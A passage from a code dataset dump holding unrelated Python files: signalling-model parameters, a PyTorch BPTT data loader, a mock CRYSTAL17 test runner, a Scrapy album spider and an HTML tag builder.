1.48*10**(0)\n x[C.relto_init_Met] = 1.80*10**(0)\n '''\n x[C.scale_Ligand] = 3.78*10**(4) \n\n #scale\n x[C.scale_pAKT_CelllineA431] = 7.83*10**(0)\n x[C.scale_pAKT_CelllineACHN_197] = 3.44*10**(4)\n x[C.scale_pAKT_CelllineACHN_200] = 5.18*10**(5)\n x[C.scale_pAKT_CelllineACHN_218] = 1.35*10**(3)\n x[C.scale_pAKT_CelllineACHN_DM] = 1.62*10**(5)\n x[C.scale_pAKT_CelllineADRr] = 1.31*10**(1)\n x[C.scale_pAKT_CelllineADRr_B] = 5.65*10**(3)\n x[C.scale_pAKT_CelllineADRr_B2] = 4.18*10**(2)\n x[C.scale_pAKT_CelllineBT20] = 4.38*10**(0)\n x[C.scale_pAKT_CelllineBxPc3] = 9.87*10**(-1)\n x[C.scale_pAKT_CelllineH322M] = 7.14*10**(-1)\n x[C.scale_pAKT_CelllineIGROV1] = 1.24*10**(1)\n x[C.scale_pEGFR_CelllineA431] = 7.89*10**(2)\n x[C.scale_pEGFR_CelllineACHN_197] = 9.71*10**(4)\n x[C.scale_pEGFR_CelllineACHN_200] = 3.13*10**(-1)\n x[C.scale_pEGFR_CelllineACHN_218] = 1.72*10**(-4)\n x[C.scale_pEGFR_CelllineACHN_DM] = 1.43*10**(4)\n x[C.scale_pEGFR_CelllineADRr] = 7.54*10**(-1)\n x[C.scale_pEGFR_CelllineADRr_B] = 1.41*10**(3)\n x[C.scale_pEGFR_CelllineADRr_B2] = 1.90*10**(2)\n x[C.scale_pEGFR_CelllineBT20] = 1.39*10**(3)\n x[C.scale_pEGFR_CelllineBxPc3] = 2.45*10**(1)\n x[C.scale_pEGFR_CelllineH322M] = 3.30*10**(1)\n x[C.scale_pEGFR_CelllineIGROV1] = 5.01*10**(3)\n x[C.scale_pERK_CelllineA431] = 4.18*10**(-1)\n x[C.scale_pERK_CelllineACHN_197] = 3.40*10**(4)\n x[C.scale_pERK_CelllineACHN_200] = 9.02*10**(4)\n x[C.scale_pERK_CelllineACHN_218] = 3.33*10**(4)\n x[C.scale_pERK_CelllineACHN_DM] = 4.58*10**(4)\n x[C.scale_pERK_CelllineADRr] = 8.92*10**(-1)\n x[C.scale_pERK_CelllineADRr_B] = 5.76*10**(3)\n x[C.scale_pERK_CelllineADRr_B2] = 2.26*10**(2)\n x[C.scale_pERK_CelllineBT20] = 5.72*10**(-1)\n \n x[C.scale_pERK_CelllineBxPc3] = 9.12*10**(-1)\n x[C.scale_pERK_CelllineH322M] = 3.85*10**(-1)\n x[C.scale_pERK_CelllineIGROV1] = 5.80*10**(-1)\n x[C.scale_pErbB2_CelllineA431] = 8.48*10**(2)\n x[C.scale_pErbB2_CelllineACHN_197] = 3.89*10**(5)\n x[C.scale_pErbB2_CelllineACHN_200] = 3.97*10**(-2)\n x[C.scale_pErbB2_CelllineACHN_218] = 2.82*10**(5)\n x[C.scale_pErbB2_CelllineACHN_DM] = 2.11*10**(3)\n x[C.scale_pErbB2_CelllineADRr] = 6.91*10**(2)\n x[C.scale_pErbB2_CelllineADRr_B] = 2.08*10**(3)\n x[C.scale_pErbB2_CelllineADRr_B2] = 8.00*10**(1)\n x[C.scale_pErbB2_CelllineBT20] = 2.97*10**(2)\n x[C.scale_pErbB2_CelllineBxPc3] = 3.79*10**(0)\n x[C.scale_pErbB2_CelllineH322M] = 5.27*10**(0)\n x[C.scale_pErbB2_CelllineIGROV1] = 6.37*10**(2)\n x[C.scale_pErbB3_CelllineA431] = 1.54*10**(3)\n x[C.scale_pErbB3_CelllineACHN_197] = 1.71*10**(3)\n x[C.scale_pErbB3_CelllineACHN_200] = 5.63*10**(-1)\n x[C.scale_pErbB3_CelllineACHN_218] = 3.95*10**(5)\n x[C.scale_pErbB3_CelllineACHN_DM] = 1.75*10**(-3)\n x[C.scale_pErbB3_CelllineADRr] = 1.02*10**(3)\n x[C.scale_pErbB3_CelllineADRr_B] = 6.75*10**(2)\n x[C.scale_pErbB3_CelllineADRr_B2] = 1.31*10**(-4)\n x[C.scale_pErbB3_CelllineBT20] = 5.42*10**(2)\n x[C.scale_pErbB3_CelllineBxPc3] = 2.76*10**(-1)\n x[C.scale_pErbB3_CelllineH322M] = 2.71*10**(0)\n x[C.scale_pErbB3_CelllineIGROV1] = 1.82*10**(1)\n x[C.scale_pIGF1R_CelllineA431] = 1.10*10**(3)\n x[C.scale_pIGF1R_CelllineACHN_197] = 6.62*10**(2)\n x[C.scale_pIGF1R_CelllineACHN_200] = 4.54*10**(2)\n x[C.scale_pIGF1R_CelllineACHN_218] = 2.31*10**(-4)\n x[C.scale_pIGF1R_CelllineACHN_DM] = 1.05*10**(1)\n x[C.scale_pIGF1R_CelllineADRr] = 1.97*10**(2)\n x[C.scale_pIGF1R_CelllineADRr_B] = 1.44*10**(-2)\n x[C.scale_pIGF1R_CelllineADRr_B2] = 2.17*10**(5)\n x[C.scale_pIGF1R_CelllineBT20] = 9.08*10**(1)\n x[C.scale_pIGF1R_CelllineBxPc3] = 3.43*10**(2)\n x[C.scale_pIGF1R_CelllineH322M] = 1.19*10**(4)\n x[C.scale_pIGF1R_CelllineIGROV1] = 2.35*10**(3)\n x[C.scale_pMEK_CelllineA431] = 2.20*10**(3)\n x[C.scale_pMEK_CelllineACHN_197] = 2.14*10**(-4)\n x[C.scale_pMEK_CelllineACHN_200] = 6.79*10**(-4)\n x[C.scale_pMEK_CelllineACHN_218] = 2.06*10**(1)\n x[C.scale_pMEK_CelllineACHN_DM] = 6.92*10**(0)\n x[C.scale_pMEK_CelllineADRr] = 6.76*10**(-4)\n\n x[C.scale_pMEK_CelllineADRr_B] = 4.70*10**(2)\n x[C.scale_pMEK_CelllineADRr_B2] = 2.51*10**(3)\n x[C.scale_pMEK_CelllineBT20] = 3.66*10**(3)\n x[C.scale_pMEK_CelllineBxPc3] = 1.34*10**(3)\n x[C.scale_pMEK_CelllineH322M] = 3.51*10**(2)\n x[C.scale_pMEK_CelllineIGROV1] = 7.66*10**(3)\n x[C.scale_pMet_CelllineA431] = 6.41*10**(-3)\n x[C.scale_pMet_CelllineACHN_197] = 2.83*10**(3)\n x[C.scale_pMet_CelllineACHN_200] = 2.52*10**(3)\n x[C.scale_pMet_CelllineACHN_218] = 1.24*10**(3)\n x[C.scale_pMet_CelllineACHN_DM] = 8.92*10**(3)\n x[C.scale_pMet_CelllineADRr] = 9.16*10**(0)\n x[C.scale_pMet_CelllineADRr_B] = 1.52*10**(-2)\n x[C.scale_pMet_CelllineADRr_B2] = 6.40*10**(-2)\n x[C.scale_pMet_CelllineBT20] = 9.33*10**(-4)\n x[C.scale_pMet_CelllineBxPc3] = 4.84*10**(3)\n x[C.scale_pMet_CelllineH322M] = 6.53*10**(-3)\n x[C.scale_pMet_CelllineIGROV1] = 3.61*10**(-4)\n x[C.scale_pS6K1_CelllineA431] = 5.92*10**(-1)\n x[C.scale_pS6K1_CelllineACHN_197] = 4.40*10**(5)\n x[C.scale_pS6K1_CelllineACHN_200] = 3.76*10**(-4)\n x[C.scale_pS6K1_CelllineACHN_218] = 1.71*10**(4)\n x[C.scale_pS6K1_CelllineACHN_DM] = 1.63*10**(-1)\n x[C.scale_pS6K1_CelllineADRr] = 1.39*10**(1)\n x[C.scale_pS6K1_CelllineADRr_B] = 4.00*10**(5)\n x[C.scale_pS6K1_CelllineADRr_B2] = 1.14*10**(0)\n x[C.scale_pS6K1_CelllineBT20] = 6.97*10**(4)\n x[C.scale_pS6K1_CelllineBxPc3] = 4.69*10**(2)\n x[C.scale_pS6K1_CelllineH322M] = 3.22*10**(2)\n x[C.scale_pS6K1_CelllineIGROV1] = 6.14*10**(3)\n x[C.scale_pS6_CelllineA431] = 5.45*10**(2)\n x[C.scale_pS6_CelllineACHN_197] = 2.75*10**(2)\n x[C.scale_pS6_CelllineACHN_200] = 4.86*10**(3)\n x[C.scale_pS6_CelllineACHN_218] = 2.30*10**(5)\n x[C.scale_pS6_CelllineACHN_DM] = 6.14*10**(4)\n x[C.scale_pS6_CelllineADRr] = 3.48*10**(2)\n x[C.scale_pS6_CelllineADRr_B] = 5.72*10**(4)\n x[C.scale_pS6_CelllineADRr_B2] = 1.70*10**(0)\n x[C.scale_pS6_CelllineBT20] = 2.40*10**(2)\n x[C.scale_pS6_CelllineBxPc3] = 4.10*10**(1)\n x[C.scale_pS6_CelllineH322M] = 2.65*10**(1)\n x[C.scale_pS6_CelllineIGROV1] = 2.33*10**(2)\n x[C.scale_tEGFR_CelllineA431] = 1.16*10**(2)\n x[C.scale_tEGFR_CelllineACHN_197] = 1.64*10**(-2)\n x[C.scale_tEGFR_CelllineACHN_200] = 3.71*10**(-2)\n x[C.scale_tEGFR_CelllineACHN_218] = 2.02*10**(5)\n x[C.scale_tEGFR_CelllineACHN_DM] = 2.42*10**(3)\n x[C.scale_tEGFR_CelllineADRr] = 8.24*10**(-4)\n x[C.scale_tEGFR_CelllineADRr_B] = 2.47*10**(5)\n x[C.scale_tEGFR_CelllineADRr_B2] = 2.04*10**(4)\n x[C.scale_tEGFR_CelllineBT20] = 8.20*10**(0)\n x[C.scale_tEGFR_CelllineBxPc3] = 8.62*10**(-1)\n x[C.scale_tEGFR_CelllineH322M] = 7.91*10**(-1)\n x[C.scale_tEGFR_CelllineIGROV1] = 2.57*10**(1)\n x[C.scale_tErbB2_CelllineA431] = 1.67*10**(1)\n x[C.scale_tErbB2_CelllineACHN_197] = 1.70*10**(5)\n x[C.scale_tErbB2_CelllineACHN_200] = 4.55*10**(3)\n x[C.scale_tErbB2_CelllineACHN_218] = 2.84*10**(-4)\n x[C.scale_tErbB2_CelllineACHN_DM] = 3.45*10**(1)\n x[C.scale_tErbB2_CelllineADRr] = 2.00*10**(0)\n x[C.scale_tErbB2_CelllineADRr_B] = 7.73*10**(3)\n x[C.scale_tErbB2_CelllineADRr_B2] = 3.40*10**(4)\n x[C.scale_tErbB2_CelllineBT20] = 7.52*10**(0)\n x[C.scale_tErbB2_CelllineBxPc3] = 1.00*10**(-4)\n x[C.scale_tErbB2_CelllineH322M] = 1.00*10**(-4)\n x[C.scale_tErbB2_CelllineIGROV1] = 9.41*10**(-1)\n x[C.scale_tErbB3_CelllineA431] = 4.57*10**(-4)\n #x[C.scale_ErbB3_CelllineACHN_197] = 3.67*10**(3)\n x[C.scale_tErbB3_CelllineACHN_200] = 4.08*10**(0)\n x[C.scale_tErbB3_CelllineACHN_218] = 9.14*10**(-2)\n x[C.scale_tErbB3_CelllineACHN_DM] = 9.27*10**(1)\n x[C.scale_tErbB3_CelllineADRr] = 1.25*10**(0)\n x[C.scale_tErbB3_CelllineADRr_B] = 6.25*10**(1)\n x[C.scale_tErbB3_CelllineADRr_B2] = 1.15*10**(-2)\n x[C.scale_tErbB3_CelllineBT20] = 9.93*10**(-2)\n x[C.scale_tErbB3_CelllineBxPc3] = 5.74*10**(-4)\n x[C.scale_tErbB3_CelllineH322M] = 3.69*10**(-4)\n x[C.scale_tErbB3_CelllineIGROV1] = 4.18*10**(-1)\n x[C.scale_tIGF1R_CelllineA431] = 2.26*10**(1)\n x[C.scale_tIGF1R_CelllineACHN_197] = 3.70*10**(5)\n x[C.scale_tIGF1R_CelllineACHN_200] = 6.73*10**(0)\n x[C.scale_tIGF1R_CelllineACHN_218] = 2.35*10**(3)\n x[C.scale_tIGF1R_CelllineACHN_DM] = 2.39*10**(3)\n x[C.scale_tIGF1R_CelllineADRr] = 2.03*10**(1)\n x[C.scale_tIGF1R_CelllineADRr_B] = 1.63*10**(1)\n x[C.scale_tIGF1R_CelllineADRr_B2] = 2.51*10**(0)\n x[C.scale_tIGF1R_CelllineBT20] = 1.08*10**(1)\n x[C.scale_tIGF1R_CelllineBxPc3] = 1.70*10**(-5)\n x[C.scale_tIGF1R_CelllineH322M] = 2.17*10**(0)\n x[C.scale_tIGF1R_CelllineIGROV1] = 1.45*10**(1)\n \n \n\n #offset\n x[C.offset_tEGFR_CelllineH322M] = 1.46*10**(0) \n x[C.offset_tErbB2_CelllineH322M] = 7.91*10**(0) \n x[C.offset_tErbB3_CelllineH322M] = 7.86*10**(-1)\n x[C.offset_tIGF1R_CelllineH322M] = 4.21*10**(-2) \n x[C.offset_pEGFR_CelllineH322M] = 4.90*10**(0) \n x[C.offset_pErbB2_CelllineH322M] = 1.09*10**(0)\n x[C.offset_pErbB3_CelllineH322M] = 1.00*10**(-5) \n x[C.offset_pIGF1R_CelllineH322M] = 4.07*10**(2) \n x[C.offset_pMet_CelllineH322M] = 3.14*10**(-2) \n x[C.offset_pMEK_CelllineH322M] = 1.37*10**(-1) \n x[C.offset_pERK_CelllineH322M] = 1.00*10**(-7)\n x[C.offset_pAKT_CelllineH322M] = 1.87*10**(-1)\n x[C.offset_pS6K1_CelllineH322M] = 1.00*10**(-7) \n x[C.offset_pS6_CelllineH322M] = 1.00*10**(-7) \n \n\n\n return x\n\n\ndef initial_values():\n y0 = [0]*V.NUM\n \n y0[V.dose_EGF] = 0.0\n y0[V.dose_HGF] = 0.0\n y0[V.RTKph] = 0.618911491797731 \n y0[V.dose_IGF1] = 0.0\n y0[V.dose_HRG] = 0.0\n y0[V.dose_BTC] = 0.0\n y0[V.EGFR] = 17.8621933083143 \n y0[V.EGFR_EGF] = 0.0\n y0[V.EGFR_BTC] = 0.0\n \n \n y0[V.pEGFRd] = 5.12011130278668E-4\n y0[V.pEGFRi] = 2.79223720669219E-5\n y0[V.pEGFRi_ph] = 1.4687856601509E-4\n y0[V.EGFRi] = 1.37508187561569E-8 \n \n y0[V.ErbB2] = 5.70185166249099\n \n \n y0[V.pErbB2] = 2.20826262632109E-4 \n y0[V.pErbB2i] = 2.35511421879916E-4\n y0[V.ErbB2i] = 44.4835113645705\n y0[V.pErbB2i_ph] = 0.0176807431775487 \n y0[V.pErbB12] = 5.37306859494303E-4 \n y0[V.pErbB12i] = 0.00144471037537624\n y0[V.pErbB12i_ph] = 7.55785246775258E-7\n \n y0[V.ErbB3] = 2.47992342696256\n y0[V.ErbB3_HRG] = 0.0\n \n \n y0[V.pErbB3d] = 1.8018926279905E-4\n y0[V.pErbB3i] = 0.00348026782363202\n y0[V.pErbB3i_ph] = 0.0108514486150842\n y0[V.ErbB3i] = 34.3224209878038\n y0[V.pErbB13] = 3.32712466211581E-5\n y0[V.pErbB13i] = 6.69142208681604E-4\n y0[V.pErbB13i_ph] = 1.13074197411592E-10\n y0[V.pErbB32] = 1.30059969850016E-4\n y0[V.pErbB32i] = 2.34208535412277E-4\n y0[V.pErbB32i_ph] = 5.93238579976826E-4\n \n y0[V.IGF1R] = 4.73494621402554\n y0[V.IGF1R_IGF1] = 0.0\n \n y0[V.pIGF1Rd] = 2.6239258403409E-5\n y0[V.pIGF1Ri] = 4.2395816408642E-5\n y0[V.pIGF1Ri_ph] = 7.91085256809129E-5\n y0[V.IGF1Ri] = 5.24785159589016E-5\n \n y0[V.Met] = 7.90290414461229\n y0[V.Met_HGF] = 0.0\n \n y0[V.pMetd] = 6.24560598662565E-7\n y0[V.pMeti] = 1.0060257690714E-6\n y0[V.pMeti_ph] = 4.79508059771836E-5\n y0[V.Meti] = 45.960014100956\n y0[V.pMetErbB3] = 0.0645520569171923\n y0[V.pMetErbB3i] = 0.0402793824584546\n y0[V.pMetErbB3i_ph] = 0.0249293726860515\n y0[V.pMetEGFR] = 0.00185677841647765 \n y0[V.pMetEGFRi] = 0.00172863499055847\n y0[V.pMetEGFRi_ph] = 7.58806259570584E-8\n \n y0[V.MEK] = 4.2412663925898 \n \n y0[V.pMEK] = 1.014543757693E-4\n y0[V.ERK] = 6922167.20947519\n \n\n y0[V.pERK] = 0.334274838149849 #\n \n y0[V.AKT] = 2.70857345464684\n y0[V.pAKT] = 0.0263677143207646\n y0[V.S6K1] = 0.00194894402116983\n \n y0[V.pS6K1] = 0.00124327830478657 #\n y0[V.S6] = 145.50079875804 #\n \n y0[V.pS6] = 0.0171533722671392 #\n \n \n return y0","sub_path":"Hass_2017/set_modell.py","file_name":"set_modell.py","file_ext":"py","file_size_in_byte":45070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"516185747","text":"import math\r\nimport numpy as np\r\n\r\nimport torch\r\n\r\n\r\nclass BPTTDataLoader(object):\r\n \"\"\"Back Propagation Through Time Data Loader\r\n\r\n DataLoader class for loading back propagate through time batches. This\r\n class does not support multiprocess batch loading as original DataLoader\r\n of PyTorch.\r\n It support several BPTT block settings:\r\n\r\n 1. Truncated BPTT (fix length)\r\n 2. Full Sequence BPTT\r\n 3. Variable Truncated BPTT (online length)\r\n\r\n \"\"\"\r\n def __init__(self, dataset, bptt, batch_size=1, shuffle=False):\r\n \"\"\"Initialize the Class\r\n\r\n Args\r\n ----\r\n dataset : dataset\r\n Raw dataset containing time related inputs.\r\n The dataset should be a list of sequences. The indexing of it\r\n should take sequence index and item index in a sequenc as input,\r\n and return coressponding input and target items.\r\n bptt : Int\r\n Length of back propagate through time block.\r\n batch_size : Int\r\n Batch size.\r\n Pay attention that it will break each sequence into batch_size\r\n sequences and ignore remaining parts, so it will break some time\r\n dependencies.\r\n shuffle : Bool\r\n If shuffle different sequences. Pay attenion that item order of\r\n a sequence will not change.\r\n\r\n \"\"\"\r\n # parse arguments\r\n self.dataset = dataset\r\n self.bptt = bptt\r\n self.batch_size = batch_size\r\n self.shuffle = shuffle\r\n\r\n def __iter__(self):\r\n \"\"\"Reference to the Class Iterator\"\"\"\r\n return self._DataIterator(self)\r\n\r\n class _DataIterator(object):\r\n \"\"\"Batch Iterator\"\"\"\r\n def __init__(self, loader):\r\n \"\"\"Initialize the Class\r\n\r\n Args\r\n ----\r\n loader : loader\r\n Data loader to iterate.\r\n\r\n \"\"\"\r\n # parse arguments\r\n self.loader = loader\r\n self.dataset = self.loader.dataset\r\n self.bptt = self.loader.bptt\r\n self.batch_size = self.loader.batch_size\r\n self.shuffle = self.loader.shuffle\r\n\r\n # sequence list\r\n self.seq_idx_buffer = list(range(len(self.dataset.data)))\r\n\r\n # shuffle sequence list if necessary\r\n if self.shuffle:\r\n np.random.shuffle(self.seq_idx_buffer)\r\n else:\r\n pass\r\n\r\n # initialize pointers\r\n self.seq_ptr = 0\r\n self.set_focus_data(self.seq_idx_buffer[self.seq_ptr])\r\n\r\n def __iter__(self):\r\n \"\"\"Reference to the Class Iterator\"\"\"\r\n return self\r\n\r\n def __next__(self, bptt):\r\n \"\"\"Return Next BPTT Batch\r\n\r\n Args\r\n ----\r\n bptt : Int\r\n Online bptt length.\r\n\r\n Returns\r\n -------\r\n input, is_new : tensor-like, bool\r\n Input tensor and if it is beginning of a sequence.\r\n target : tensor-like\r\n Target tensor.\r\n\r\n \"\"\"\r\n # move to next sequence data if necessary\r\n if self.batch_ptr == self.focus_data.size(0) - 1:\r\n self.seq_ptr += 1\r\n if self.seq_ptr == len(self.seq_idx_buffer):\r\n raise StopIteration\r\n else:\r\n self.set_focus_data(self.seq_idx_buffer[self.seq_ptr])\r\n else:\r\n pass\r\n\r\n # get a new batch\r\n bptt = bptt or self.bptt\r\n bptt = min(self.focus_data.size(0) - 1 - self.batch_ptr, bptt)\r\n is_new = (self.batch_ptr == 0)\r\n input = self.focus_data[self.batch_ptr:self.batch_ptr + bptt]\r\n target = self.focus_data[self.batch_ptr + 1:self.batch_ptr + bptt + 1]\r\n\r\n # move pointer\r\n self.batch_ptr += bptt\r\n return (input, is_new), target\r\n\r\n def set_focus_data(self, seq_idx):\r\n \"\"\"Initialize BPTT Pointer\"\"\"\r\n # focus on corresponding sequence data\r\n self.focus_data = self.dataset.data[seq_idx]\r\n\r\n # truncate data to perfectly fit batch size\r\n num_batches = self.focus_data.size(0) // self.batch_size\r\n self.focus_data = self.focus_data.narrow(0, 0, num_batches * self.batch_size)\r\n\r\n # break the whole sequence into several sequences batches\r\n new_shape = [self.batch_size, num_batches] + list(self.focus_data.size())[1:]\r\n self.focus_data = self.focus_data.view(*new_shape)\r\n new_axes = [1, 0] + list(range(len(self.focus_data.size())))[2:]\r\n self.focus_data = self.focus_data.permute(*new_axes).contiguous()\r\n\r\n # initialize batch pointer\r\n self.batch_ptr = 0\r\n","sub_path":"nnlearn/dataset/bptt.py","file_name":"bptt.py","file_ext":"py","file_size_in_byte":4856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"147472256","text":"#!/usr/bin/env python\n\"\"\"\nthis is a mock version of runcry17,\nwhich compares an input file to a hash and writes an appropriate outputfile st stdoout\n\nto add find hashkeys:\n\ninput_path = 'path/to/input.d12'\nwith open(input_path, \"rb\") as f:\n hashkey = hashlib.md5(f.read()).digest()\nhashkey\n\n\"\"\"\nimport hashlib\nimport os\nimport sys\nfrom shutil import copyfile\n\nimport aiida_crystal17.tests as tests\n\nstdoutfiles = {\n '\\xf6\\t\\x0e\\x9f\\r\\xa6\\t\\x8ea,\\xd2l\\xb2\\xf1\\x16 ': None,\n '\\xffw\\xb9\\x96\\xa5\\x08\\x1ed\\xab.\\x99p\\xc6\\xcd\\x15\\xcb': None,\n ']\\x14\\xa7|\\xb2~\\xe2\\x1a\\xd5\\xd1Q\\xff7i\\xc0\\x94': None,\n '.\\xaec\\xd6b\\xd8Q\\x83v\\xa2\\x08\\x89+\\xe0{\\x1d': None\n}\n\nadditional_files = {\n '\\xf6\\t\\x0e\\x9f\\r\\xa6\\t\\x8ea,\\xd2l\\xb2\\xf1\\x16 ':\n [(\"mgo_sto3g_scf.crystal.out\", \".out\")],\n '\\xffw\\xb9\\x96\\xa5\\x08\\x1ed\\xab.\\x99p\\xc6\\xcd\\x15\\xcb':\n [('mgo_sto3g_external.crystal.out', \".out\")],\n ']\\x14\\xa7|\\xb2~\\xe2\\x1a\\xd5\\xd1Q\\xff7i\\xc0\\x94':\n [('nio_sto3g_afm.crystal.out', \".out\")],\n '.\\xaec\\xd6b\\xd8Q\\x83v\\xa2\\x08\\x89+\\xe0{\\x1d':\n [('nio_sto3g_afm_opt.crystal.out', \".out\")]\n}\n\n\ndef main(sys_args=None):\n\n if sys_args is None:\n sys_args = sys.argv[1:]\n\n if len(sys_args) < 1:\n raise ValueError(\"no input name given (as 1st argument)\")\n \n if sys_args[0] == \"--test\":\n return\n\n # script_path = os.path.dirname(os.path.realpath(__file__))\n test_path = os.path.dirname(tests.__file__)\n # runcry17 requires input file name without extension as first arg\n input_name = sys_args[0]\n\n with open(input_name + \".d12\", \"rb\") as f:\n hashkey = hashlib.md5(f.read()).digest()\n\n if hashkey not in stdoutfiles:\n raise IOError(\"contents of {0} not in hash list, hashkey: {1}\".format(\n os.path.basename(input_name + \".d12\"), str(hashkey)))\n\n for inname, outext in additional_files.get(hashkey, []):\n src = os.path.join(test_path, \"output_files\", inname)\n dst = os.path.join(\".\", input_name + outext)\n copyfile(src, dst)\n\n if stdoutfiles[hashkey] is None:\n sys.stdout.write(\n \"running mock runcry17 for input arg: {}\".format(input_name))\n else:\n outpath = os.path.join(test_path, \"output_files\", stdoutfiles[hashkey])\n with open(outpath) as f:\n sys.stdout.write(f.read())\n","sub_path":"aiida_crystal17/tests/mock_runcry17.py","file_name":"mock_runcry17.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"308563577","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport random\nimport sys\nimport lxml.html\nfrom hanfuhui.items import HanfuhuiItem\n\nreload(sys)\n\ndef LoadUserAgents(uafile):\n \"\"\"\n uafile : string\n path to text file of user agents, one per line\n \"\"\"\n uas = []\n with open(uafile,'rb') as uaf:\n for ua in uaf.readlines():\n if ua:\n uas.append(ua.strip()[1:-1 - 1])\n random.shuffle(uas)\n return uas\n\n\nclass HanfuSpider(scrapy.Spider):\n name = 'hanfu'\n allowed_domains = ['www.hanfuhui.cn']\n page = 1\n url = \"http://www.hanfuhui.cn/comm/album.ashx?action=loadAlbumGood&count=50&page=\"+str(page)\n start_urls = [url]\n uas = LoadUserAgents(\"user_agents.txt\")\n\n\n def start_requests(self):\n ua = random.choice(self.uas)\n head = {'User-Agent': ua,\n 'Host': 'www.hanfuhui.cn',\n 'Referer':'http://www.hanfuhui.cn/album/'\n }\n for u in self.start_urls:\n yield scrapy.Request(u, callback=self.parse,\n headers=head,\n dont_filter=True)\n\n\n\n def parse(self,response):\n tree = lxml.html.fromstring(response.text)\n album_list = tree.cssselect('ul.album_list >li')\n for album in album_list:\n item = HanfuhuiItem()\n a_name = album.cssselect('div.foot > p.top.long_hide > a.name')[0]\n a_nick = album.cssselect('div.foot > p.buttom > a.nick')[0]\n href = a_name.get('href')\n title = a_name.text\n author = a_nick.text\n item[\"href\"] = href\n item[\"title\"] = title\n item[\"author\"] = author\n ua = random.choice(self.uas)\n head = {'User-Agent': ua,\n 'Host': 'www.hanfuhui.cn',\n 'Referer': 'http://www.hanfuhui.cn/album/'\n }\n request = scrapy.Request('http://www.hanfuhui.cn'+href,callback=self.av_parse,headers=head,dont_filter=True)\n request.meta['item'] = item\n yield request\n self.page += 1\n ua = random.choice(self.uas)\n head = {'User-Agent': ua,\n 'Host': 'www.hanfuhui.cn',\n 'Referer': 'http://www.hanfuhui.cn/album/'\n }\n yield scrapy.Request(\"http://www.hanfuhui.cn/comm/album.ashx?action=loadAlbumGood&count=50&page=\"+str(self.page),callback=self.parse,\n headers=head,\n dont_filter=True)\n\n\n\n def av_parse(self,response):\n tree = lxml.html.fromstring(response.text)\n item = response.meta['item']\n list = []\n imgs = tree.cssselect('#mainer > div > div.data_info_main > div.life_piclist > li')\n for img in imgs:\n imgurl = img.cssselect('a > img')[0]\n href = imgurl.get('src')\n list.append(href[0:href.find('.jpg')+4])\n imgurls = set(list)\n item[\"imgs\"] = imgurls\n yield item","sub_path":"hanfuhui/spiders/hanfu.py","file_name":"hanfu.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"222857857","text":"from os import getcwd\r\nclass Tag:\r\n def __init__(self, tag, text=\"\", is_single=False, is_line=False, klass=None, **kwargs):\r\n self.tag = tag\r\n self.text = text\r\n self.is_single = is_single # указать True, если не нужен закрывающий тэг\r\n self.is_line = is_line # указать True, если тэг вместе с его содержимым нужно вывести в одну строку\r\n self.attributes = {} # словарь атрибутов тэга\r\n self.structure = [] # список, в котором хранится построчно собственная структура тэга\r\n self.opening =\"\" # для хранения открывающего тэга\r\n self.internal = [] # для хранения содержимого тэга\r\n self.ending = \"\" # для хранения закрывающего тэга\r\n self.tab = \"\" # для табуляции строк\r\n\r\n # заполняем self.attributes всеми входящими атрибутами тэга:\r\n if klass is not None:\r\n self.attributes[\"class\"] = \" \".join(klass)\r\n\r\n for attr, value in kwargs.items():\r\n if \"_\" in attr:\r\n attr = attr.replace(\"_\", \"-\")\r\n self.attributes[attr] = value\r\n\r\n self.make_structure()\r\n\r\n def string_of_attrs(self):\r\n \"\"\"распаковывает все атрибуты, склеивает их пробелами и возвращает в виде одной строки\"\"\"\r\n attrs = []\r\n for attribute, value in self.attributes.items():\r\n attrs.append('%s=\"%s\"' % (attribute, value))\r\n attrs = \" \".join(attrs)\r\n return attrs\r\n\r\n def make_structure(self):\r\n \"\"\"формирует полную структуру тэга и записывает результат в поле self.structure\"\"\"\r\n if self.string_of_attrs():\r\n self.opening = \"{tab}<{tag} {attrs}>\".format(tab=self.tab, tag=self.tag, attrs=self.string_of_attrs())\r\n else:\r\n self.opening = \"{tab}<{tag}>\".format(tab=self.tab, tag=self.tag)\r\n \r\n if self.text != \"\":\r\n self.internal.append(self.text)\r\n self.ending = \"{tab}\".format(tab=self.tab, tag=self.tag)\r\n\r\n if self.is_line:\r\n self.structure.append(self.opening + self.text + self.ending)\r\n else:\r\n self.structure.append(self.opening)\r\n if self.internal:\r\n for line in self.internal:\r\n self.structure.append(line)\r\n if not self.is_single:\r\n self.structure.append(self.ending)\r\n\r\n def __iadd__(self, other):\r\n \"\"\"при добавлении другого объекта, меняет собственную структуру так, чтобы внутри оказался тот самый другой объект\"\"\"\r\n self.structure.clear()\r\n self.tab = \" \"\r\n\r\n for line in other.structure:\r\n self.internal.append(self.tab * 2 + line)\r\n self.make_structure()\r\n return self\r\n\r\n def __str__(self):\r\n return \"Ошибка! Распечатать можно только объект класса 'HTML')\"\r\n\r\nclass HTML:\r\n \"\"\"Главный класс, который создает html-документ из всех объектов класса Tag и выводит либо на экран, либо записывает в файл\"\"\"\r\n def __init__(self, output=None):\r\n self.output = output # чтобы вывести созданный документ в файл, необходимо указать output=\"имя.html\"\r\n self.structure = []\r\n self.opening =\"\"\r\n self.internal = []\r\n self.ending = \"\"\r\n\r\n def make_structure(self):\r\n \"\"\"упрощенная функция создания структуры документа\"\"\"\r\n self.structure.append(self.opening)\r\n if self.internal:\r\n for line in self.internal:\r\n self.structure.append(line)\r\n self.structure.append(self.ending)\r\n\r\n def __iadd__(self, other):\r\n \"\"\"аналогична функции класса Tag\"\"\"\r\n self.structure.clear()\r\n\r\n for line in other.structure:\r\n self.internal.append(line)\r\n self.make_structure()\r\n return self\r\n\r\n def __str__(self):\r\n \"\"\"при обращении к объекту, как к строке, выводит созданный документ либо в файл, либо на экран\"\"\"\r\n if self.output is not None:\r\n output = self.output.lower()\r\n with open(output, \"w\") as f:\r\n for line in self.structure:\r\n f.write(line +\"\\n\")\r\n return \"Документ записан в {}\\\\{}\".format(getcwd(), output)\r\n else:\r\n output = \"\"\r\n for line in self.structure:\r\n output += (line +\"\\n\")\r\n return output \r\n\r\nif __name__ == \"__main__\":\r\n doc = HTML()\r\n\r\n head = Tag(\"head\")\r\n title = 